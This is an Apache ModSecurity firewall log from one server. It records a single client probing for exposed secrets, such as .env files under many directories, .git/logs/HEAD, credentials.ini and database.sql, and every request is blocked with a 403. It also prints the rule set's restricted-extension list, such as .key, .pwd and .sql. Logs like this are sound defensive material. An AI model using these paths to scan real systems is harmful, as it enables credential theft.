[Tue Oct 27 08:28:04.817229 2026] [security2:error] [pid 3220899:tid 3220899] [client 104.199.36.53:45818] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "ns1.sherwinpinturas.com"] [uri "/.git/logs/HEAD"] [unique_id "auCY1AHzNpgY2H50otlp0AAAAAg"]
[Tue Oct 27 08:28:04.893277 2026] [security2:error] [pid 3220899:tid 3220899] [client 104.199.36.53:45818] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /admin/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "ns1.sherwinpinturas.com"] [uri "/admin/.env"] [unique_id "auCY1AHzNpgY2H50otlp0QAAAAg"]
[Tue Oct 27 08:28:04.893423 2026] [security2:error] [pid 3220899:tid 3220899] [client 104.199.36.53:45818] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "ns1.sherwinpinturas.com"] [uri "/admin/.env"] [unique_id "auCY1AHzNpgY2H50otlp0QAAAAg"]
[Tue Oct 27 08:28:04.893652 2026] [security2:error] [pid 3220899:tid 3220899] [client 104.199.36.53:45818] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "ns1.sherwinpinturas.com"] [uri "/admin/.env"] [unique_id "auCY1AHzNpgY2H50otlp0QAAAAg"]
[Tue Oct 27 08:28:04.903541 2026] [security2:error] [pid 3227580:tid 3227580] [client 104.199.36.53:45816] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /api/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "ns1.sherwinpinturas.com"] [uri "/api/.env"] [unique_id "auCY1GUNDY12-2npPMSGKQAAAAo"]
[Tue Oct 27 08:28:04.903703 2026] [security2:error] [pid 3227580:tid 3227580] [client 104.199.36.53:45816] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "ns1.sherwinpinturas.com"] [uri "/api/.env"] [unique_id "auCY1GUNDY12-2npPMSGKQAAAAo"]
[Tue Oct 27 08:28:04.903926 2026] [security2:error] [pid 3227580:tid 3227580] [client 104.199.36.53:45816] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "ns1.sherwinpinturas.com"] [uri "/api/.env"] [unique_id "auCY1GUNDY12-2npPMSGKQAAAAo"]
[Tue Oct 27 08:28:04.936332 2026] [security2:error] [pid 3219292:tid 3219292] [client 104.199.36.53:45802] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /app/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "ns1.sherwinpinturas.com"] [uri "/app/.env"] [unique_id "auCY1G_oZ855J3-bmxEqlAAAAAY"]
[Tue Oct 27 08:28:04.936522 2026] [security2:error] [pid 3219292:tid 3219292] [client 104.199.36.53:45802] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "ns1.sherwinpinturas.com"] [uri "/app/.env"] [unique_id "auCY1G_oZ855J3-bmxEqlAAAAAY"]
[Tue Oct 27 08:28:04.936842 2026] [security2:error] [pid 3219292:tid 3219292] [client 104.199.36.53:45802] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "ns1.sherwinpinturas.com"] [uri "/app/.env"] [unique_id "auCY1G_oZ855J3-bmxEqlAAAAAY"]
[Tue Oct 27 08:28:04.950333 2026] [security2:error] [pid 3209603:tid 3209603] [client 104.199.36.53:45808] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /application/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "ns1.sherwinpinturas.com"] [uri "/application/.env"] [unique_id "auCY1D4THoroSjopRdUAxAAAAAE"]
[Tue Oct 27 08:28:04.950539 2026] [security2:error] [pid 3209603:tid 3209603] [client 104.199.36.53:45808] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "ns1.sherwinpinturas.com"] [uri "/application/.env"] [unique_id "auCY1D4THoroSjopRdUAxAAAAAE"]
[Tue Oct 27 08:28:04.950852 2026] [security2:error] [pid 3209603:tid 3209603] [client 104.199.36.53:45808] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "ns1.sherwinpinturas.com"] [uri "/application/.env"] [unique_id "auCY1D4THoroSjopRdUAxAAAAAE"]
[Tue Oct 27 08:28:05.009744 2026] [security2:error] [pid 3209611:tid 3209611] [client 104.199.36.53:45862] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /backend/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "ns1.sherwinpinturas.com"] [uri "/backend/.env"] [unique_id "auCY1ZekxYBRCO5jo1OI5wAAABA"]
[Tue Oct 27 08:28:05.009981 2026] [security2:error] [pid 3209611:tid 3209611] [client 104.199.36.53:45862] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "ns1.sherwinpinturas.com"] [uri "/backend/.env"] [unique_id "auCY1ZekxYBRCO5jo1OI5wAAABA"]
[Tue Oct 27 08:28:05.010227 2026] [security2:error] [pid 3209611:tid 3209611] [client 104.199.36.53:45862] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "ns1.sherwinpinturas.com"] [uri "/backend/.env"] [unique_id "auCY1ZekxYBRCO5jo1OI5wAAABA"]
[Tue Oct 27 08:28:05.018033 2026] [security2:error] [pid 3230465:tid 3230465] [client 104.199.36.53:45858] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /back/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "ns1.sherwinpinturas.com"] [uri "/back/.env"] [unique_id "auCY1XOijkS-hyCWJGdJ_wAAAAI"]
[Tue Oct 27 08:28:05.018191 2026] [security2:error] [pid 3230465:tid 3230465] [client 104.199.36.53:45858] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "ns1.sherwinpinturas.com"] [uri "/back/.env"] [unique_id "auCY1XOijkS-hyCWJGdJ_wAAAAI"]
[Tue Oct 27 08:28:05.018413 2026] [security2:error] [pid 3230465:tid 3230465] [client 104.199.36.53:45858] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "ns1.sherwinpinturas.com"] [uri "/back/.env"] [unique_id "auCY1XOijkS-hyCWJGdJ_wAAAAI"]
[Tue Oct 27 08:28:05.030260 2026] [security2:error] [pid 3219292:tid 3219292] [client 104.199.36.53:45802] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /backup/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "ns1.sherwinpinturas.com"] [uri "/backup/.env"] [unique_id "auCY1W_oZ855J3-bmxEqlQAAAAY"]
[Tue Oct 27 08:28:05.030393 2026] [security2:error] [pid 3219292:tid 3219292] [client 104.199.36.53:45802] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "ns1.sherwinpinturas.com"] [uri "/backup/.env"] [unique_id "auCY1W_oZ855J3-bmxEqlQAAAAY"]
[Tue Oct 27 08:28:05.030616 2026] [security2:error] [pid 3219292:tid 3219292] [client 104.199.36.53:45802] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "ns1.sherwinpinturas.com"] [uri "/backup/.env"] [unique_id "auCY1W_oZ855J3-bmxEqlQAAAAY"]
[Tue Oct 27 08:28:05.036966 2026] [security2:error] [pid 3209603:tid 3209603] [client 104.199.36.53:45808] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /cms/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "ns1.sherwinpinturas.com"] [uri "/cms/.env"] [unique_id "auCY1T4THoroSjopRdUAxQAAAAE"]
[Tue Oct 27 08:28:05.037131 2026] [security2:error] [pid 3209603:tid 3209603] [client 104.199.36.53:45808] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "ns1.sherwinpinturas.com"] [uri "/cms/.env"] [unique_id "auCY1T4THoroSjopRdUAxQAAAAE"]
[Tue Oct 27 08:28:05.037378 2026] [security2:error] [pid 3209603:tid 3209603] [client 104.199.36.53:45808] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "ns1.sherwinpinturas.com"] [uri "/cms/.env"] [unique_id "auCY1T4THoroSjopRdUAxQAAAAE"]
[Tue Oct 27 08:28:05.120331 2026] [security2:error] [pid 3230465:tid 3230465] [client 104.199.36.53:45858] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /config/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "ns1.sherwinpinturas.com"] [uri "/config/.env"] [unique_id "auCY1XOijkS-hyCWJGdKAAAAAAI"]
[Tue Oct 27 08:28:05.120493 2026] [security2:error] [pid 3230465:tid 3230465] [client 104.199.36.53:45858] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "ns1.sherwinpinturas.com"] [uri "/config/.env"] [unique_id "auCY1XOijkS-hyCWJGdKAAAAAAI"]
[Tue Oct 27 08:28:05.120755 2026] [security2:error] [pid 3230465:tid 3230465] [client 104.199.36.53:45858] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "ns1.sherwinpinturas.com"] [uri "/config/.env"] [unique_id "auCY1XOijkS-hyCWJGdKAAAAAAI"]
[Tue Oct 27 08:28:05.156449 2026] [security2:error] [pid 3209601:tid 3209601] [client 104.199.36.53:45850] ModSecurity: Warning. Matched phrase "/composer.json" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /composer.json found within REQUEST_FILENAME: /composer.json"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "ns1.sherwinpinturas.com"] [uri "/composer.json"] [unique_id "auCY1QJ0bI7Z9n11TMADdQAAAAA"]
[Tue Oct 27 08:28:05.156602 2026] [security2:error] [pid 3209601:tid 3209601] [client 104.199.36.53:45850] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "ns1.sherwinpinturas.com"] [uri "/composer.json"] [unique_id "auCY1QJ0bI7Z9n11TMADdQAAAAA"]
[Tue Oct 27 08:28:05.156867 2026] [security2:error] [pid 3209601:tid 3209601] [client 104.199.36.53:45850] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "ns1.sherwinpinturas.com"] [uri "/composer.json"] [unique_id "auCY1QJ0bI7Z9n11TMADdQAAAAA"]
[Tue Oct 27 08:28:05.201999 2026] [security2:error] [pid 3230465:tid 3230465] [client 104.199.36.53:45858] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".ini"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "ns1.sherwinpinturas.com"] [uri "/credentials.ini"] [unique_id "auCY1XOijkS-hyCWJGdKAQAAAAI"]
[Tue Oct 27 08:28:05.202247 2026] [security2:error] [pid 3230465:tid 3230465] [client 104.199.36.53:45858] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "ns1.sherwinpinturas.com"] [uri "/credentials.ini"] [unique_id "auCY1XOijkS-hyCWJGdKAQAAAAI"]
[Tue Oct 27 08:28:05.202471 2026] [security2:error] [pid 3230465:tid 3230465] [client 104.199.36.53:45858] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "ns1.sherwinpinturas.com"] [uri "/credentials.ini"] [unique_id "auCY1XOijkS-hyCWJGdKAQAAAAI"]
[Tue Oct 27 08:28:05.203373 2026] [security2:error] [pid 3209611:tid 3209611] [client 104.199.36.53:45862] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".sql"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "ns1.sherwinpinturas.com"] [uri "/database.sql"] [unique_id "auCY1ZekxYBRCO5jo1OI6QAAABA"]
[Tue Oct 27 08:28:05.203594 2026] [security2:error] [pid 3209611:tid 3209611] [client 104.199.36.53:45862] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "ns1.sherwinpinturas.com"] [uri "/database.sql"] [unique_id "auCY1ZekxYBRCO5jo1OI6QAAABA"]
[Tue Oct 27 08:28:05.203854 2026] [security2:error] [pid 3209611:tid 3209611] [client 104.199.36.53:45862] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "ns1.sherwinpinturas.com"] [uri "/database.sql"] [unique_id "auCY1ZekxYBRCO5jo1OI6QAAABA"]
[Tue Oct 27 08:28:05.204682 2026] [security2:error] [pid 3220898:tid 3220898] [client 104.199.36.53:45848] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /core/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "ns1.sherwinpinturas.com"] [uri "/core/.env"] [unique_id "auCY1Y0JjhEi1NzVi4XsjwAAAAc"]
